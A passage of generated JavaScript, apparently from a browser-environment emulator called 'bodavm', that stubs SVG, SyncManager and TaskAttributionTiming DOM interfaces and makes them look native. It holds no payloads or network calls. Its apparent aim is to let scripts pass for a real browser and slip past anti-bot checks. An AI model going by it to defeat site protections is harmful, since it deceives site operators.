enumerable:true, get:function sheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "sheet_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStyleElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "disabled_set", arguments)}},'prototype'); - -// SVGSwitchElement对象 -bodavm.memory.globalobj['SVGSwitchElement'] = function SVGSwitchElement(){if (!(this instanceof SVGSwitchElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSwitchElement'], "SVGSwitchElement"); -bodavm.memory.globalobj['SVGSwitchElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGSwitchElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; - -// SVGTextContentElement对象 -bodavm.memory.globalobj['SVGTextContentElement'] = function SVGTextContentElement(){if (!(this instanceof SVGTextContentElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextContentElement'], "SVGTextContentElement"); -bodavm.memory.globalobj['SVGTextContentElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGTextContentElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACINGANDGLYPHS", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACING", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACINGANDGLYPHS", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACING", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "textLength", {configurable:true, enumerable:true, get:function textLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "textLength_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "lengthAdjust", {configurable:true, enumerable:true, get:function lengthAdjust (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "lengthAdjust_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getCharNumAtPosition", {configurable:true, enumerable:true, writable:true, value:function getCharNumAtPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getCharNumAtPosition", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getComputedTextLength", {configurable:true, enumerable:true, writable:true, value:function getComputedTextLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getComputedTextLength", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getEndPositionOfChar", {configurable:true, enumerable:true, writable:true, value:function getEndPositionOfChar (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getEndPositionOfChar", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getExtentOfChar", {configurable:true, enumerable:true, writable:true, value:function getExtentOfChar (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getExtentOfChar", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getNumberOfChars", {configurable:true, enumerable:true, writable:true, value:function getNumberOfChars (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getNumberOfChars", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getRotationOfChar", {configurable:true, enumerable:true, writable:true, value:function getRotationOfChar (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getRotationOfChar", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getStartPositionOfChar", {configurable:true, enumerable:true, writable:true, value:function getStartPositionOfChar (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getStartPositionOfChar", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getSubStringLength", {configurable:true, enumerable:true, writable:true, value:function getSubStringLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getSubStringLength", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "selectSubString", {configurable:true, enumerable:true, writable:true, value:function selectSubString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "selectSubString", arguments)}},'prototype'); - -// SVGTextPositioningElement对象 -bodavm.memory.globalobj['SVGTextPositioningElement'] = function SVGTextPositioningElement(){if (!(this instanceof SVGTextPositioningElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextPositioningElement'], "SVGTextPositioningElement"); -bodavm.memory.globalobj['SVGTextPositioningElement'].prototype.__proto__=bodavm.memory.globalobj['SVGTextContentElement'].prototype; -bodavm.memory.globalobj['SVGTextPositioningElement'].__proto__=bodavm.memory.globalobj['SVGTextContentElement']; -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "LENGTHADJUST_SPACINGANDGLYPHS", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "LENGTHADJUST_SPACING", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "LENGTHADJUST_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "dx", {configurable:true, enumerable:true, get:function dx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "dx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "dy", {configurable:true, enumerable:true, get:function dy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "dy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "rotate", {configurable:true, enumerable:true, get:function rotate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "rotate_get", arguments)}, set:undefined},'prototype'); - -// SVGTextElement对象 -bodavm.memory.globalobj['SVGTextElement'] = function SVGTextElement(){if (!(this instanceof SVGTextElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextElement'], "SVGTextElement"); -bodavm.memory.globalobj['SVGTextElement'].prototype.__proto__=bodavm.memory.globalobj['SVGTextPositioningElement'].prototype; -bodavm.memory.globalobj['SVGTextElement'].__proto__=bodavm.memory.globalobj['SVGTextPositioningElement']; -bodavm.toolsFunc.defineProperty('SVGTextElement', "LENGTHADJUST_SPACINGANDGLYPHS", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTextElement', "LENGTHADJUST_SPACING", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTextElement', "LENGTHADJUST_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); - -// SVGTextPathElement对象 -bodavm.memory.globalobj['SVGTextPathElement'] = function SVGTextPathElement(){if (!(this instanceof SVGTextPathElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextPathElement'], "SVGTextPathElement"); -bodavm.memory.globalobj['SVGTextPathElement'].prototype.__proto__=bodavm.memory.globalobj['SVGTextContentElement'].prototype; -bodavm.memory.globalobj['SVGTextPathElement'].__proto__=bodavm.memory.globalobj['SVGTextContentElement']; -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_EXACT", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_AUTO", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_STRETCH", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_ALIGN", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "LENGTHADJUST_SPACINGANDGLYPHS", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "LENGTHADJUST_SPACING", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "LENGTHADJUST_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_EXACT", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_AUTO", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_STRETCH", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_ALIGN", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "startOffset", {configurable:true, enumerable:true, get:function startOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "startOffset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "method", {configurable:true, enumerable:true, get:function method (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "method_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "spacing", {configurable:true, enumerable:true, get:function spacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "spacing_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "href_get", arguments)}, set:undefined},'prototype'); - -// SVGTitleElement对象 -bodavm.memory.globalobj['SVGTitleElement'] = function SVGTitleElement(){if (!(this instanceof SVGTitleElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTitleElement'], "SVGTitleElement"); -bodavm.memory.globalobj['SVGTitleElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGTitleElement'].__proto__=bodavm.memory.globalobj['SVGElement']; - -// SVGTransform对象 -bodavm.memory.globalobj['SVGTransform'] = function SVGTransform(){if (!(this instanceof SVGTransform)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTransform'], "SVGTransform"); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_MATRIX", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_TRANSLATE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SCALE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_ROTATE", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWX", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWY", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('SVGTransform', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "matrix", {configurable:true, enumerable:true, get:function matrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "matrix_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "angle", {configurable:true, enumerable:true, get:function angle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "angle_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_MATRIX", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_TRANSLATE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SCALE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_ROTATE", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWX", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWY", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "setMatrix", {configurable:true, enumerable:true, writable:true, value:function setMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setMatrix", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "setRotate", {configurable:true, enumerable:true, writable:true, value:function setRotate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setRotate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "setScale", {configurable:true, enumerable:true, writable:true, value:function setScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setScale", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "setSkewX", {configurable:true, enumerable:true, writable:true, value:function setSkewX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setSkewX", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "setSkewY", {configurable:true, enumerable:true, writable:true, value:function setSkewY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setSkewY", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "setTranslate", {configurable:true, enumerable:true, writable:true, value:function setTranslate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setTranslate", arguments)}},'prototype'); - -// SVGTransformList对象 -bodavm.memory.globalobj['SVGTransformList'] = function SVGTransformList(){if (!(this instanceof SVGTransformList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTransformList'], "SVGTransformList"); -bodavm.toolsFunc.defineProperty('SVGTransformList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "numberOfItems", {configurable:true, enumerable:true, get:function numberOfItems (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "numberOfItems_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "appendItem", {configurable:true, enumerable:true, writable:true, value:function appendItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "appendItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "consolidate", {configurable:true, enumerable:true, writable:true, value:function consolidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "consolidate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "createSVGTransformFromMatrix", {configurable:true, enumerable:true, writable:true, value:function createSVGTransformFromMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "createSVGTransformFromMatrix", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "getItem", {configurable:true, enumerable:true, writable:true, value:function getItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "getItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "initialize", {configurable:true, enumerable:true, writable:true, value:function initialize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "initialize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "insertItemBefore", {configurable:true, enumerable:true, writable:true, value:function insertItemBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "insertItemBefore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "removeItem", {configurable:true, enumerable:true, writable:true, value:function removeItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "removeItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "replaceItem", {configurable:true, enumerable:true, writable:true, value:function replaceItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "replaceItem", arguments)}},'prototype'); - -// SVGTSpanElement对象 -bodavm.memory.globalobj['SVGTSpanElement'] = function SVGTSpanElement(){if (!(this instanceof SVGTSpanElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTSpanElement'], "SVGTSpanElement"); -bodavm.memory.globalobj['SVGTSpanElement'].prototype.__proto__=bodavm.memory.globalobj['SVGTextPositioningElement'].prototype; -bodavm.memory.globalobj['SVGTSpanElement'].__proto__=bodavm.memory.globalobj['SVGTextPositioningElement']; -bodavm.toolsFunc.defineProperty('SVGTSpanElement', "LENGTHADJUST_SPACINGANDGLYPHS", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTSpanElement', "LENGTHADJUST_SPACING", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTSpanElement', "LENGTHADJUST_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); - -// SVGUnitTypes对象 -bodavm.memory.globalobj['SVGUnitTypes'] = function SVGUnitTypes(){if (!(this instanceof SVGUnitTypes)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGUnitTypes'], "SVGUnitTypes"); -bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_USERSPACEONUSE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_OBJECTBOUNDINGBOX", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_USERSPACEONUSE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_OBJECTBOUNDINGBOX", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); - -// SVGViewElement对象 -bodavm.memory.globalobj['SVGViewElement'] = function SVGViewElement(){if (!(this instanceof SVGViewElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGViewElement'], "SVGViewElement"); -bodavm.memory.globalobj['SVGViewElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGViewElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_DISABLE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_MAGNIFY", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGViewElement', "viewBox", {configurable:true, enumerable:true, get:function viewBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "viewBox_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGViewElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGViewElement', "zoomAndPan", {configurable:true, enumerable:true, get:function zoomAndPan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "zoomAndPan_get", arguments)}, set:function zoomAndPan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "zoomAndPan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_DISABLE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_MAGNIFY", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); - -// SyncManager对象 -bodavm.memory.globalobj['SyncManager'] = function SyncManager(){if (!(this instanceof SyncManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SyncManager'], "SyncManager"); -bodavm.toolsFunc.defineProperty('SyncManager', "getTags", {configurable:true, enumerable:true, writable:true, value:function getTags (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SyncManager'].prototype, "SyncManager", "getTags", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SyncManager', "register", {configurable:true, enumerable:true, writable:true, value:function register (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SyncManager'].prototype, "SyncManager", "register", arguments)}},'prototype'); - -// TaskAttributionTiming对象 -bodavm.memory.globalobj['TaskAttributionTiming'] = function TaskAttributionTiming(){if (!(this instanceof TaskAttributionTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskAttributionTiming'], "TaskAttributionTiming"); -bodavm.memory.globalobj['TaskAttributionTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['TaskAttributionTiming'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerType", {configurable:true, enumerable:true, get:function containerType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerSrc", {configurable:true, enumerable:true, get:function containerSrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerSrc_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerId", {configurable:true, enumerable:true, get:function containerId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerName", {configurable:true, enumerable:true, get:function containerName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "toJSON", arguments)}},'prototype'); - -// TaskController对象 -bodavm.memory.globalobj['TaskController'] = function TaskController(){this._boarg= new bodaobj.window.TaskController();this._boisinit=bodavm.config.isinit} 